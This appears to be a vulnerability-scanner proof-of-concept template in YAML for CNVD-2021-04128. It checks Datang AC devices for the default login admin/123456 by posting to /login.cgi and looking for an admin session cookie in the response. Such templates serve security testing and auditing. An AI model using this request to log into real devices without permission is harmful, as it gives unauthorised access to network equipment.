name: poc-yaml-datang-ac-default-password-cnvd-2021-04128
rules:
  - method: POST
    path: /login.cgi
    follow_redirects: false
    body: >-
      user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95
    expression: |
      response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_")

detail:
  author: B1anda0(https://github.com/B1anda0)
  links:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128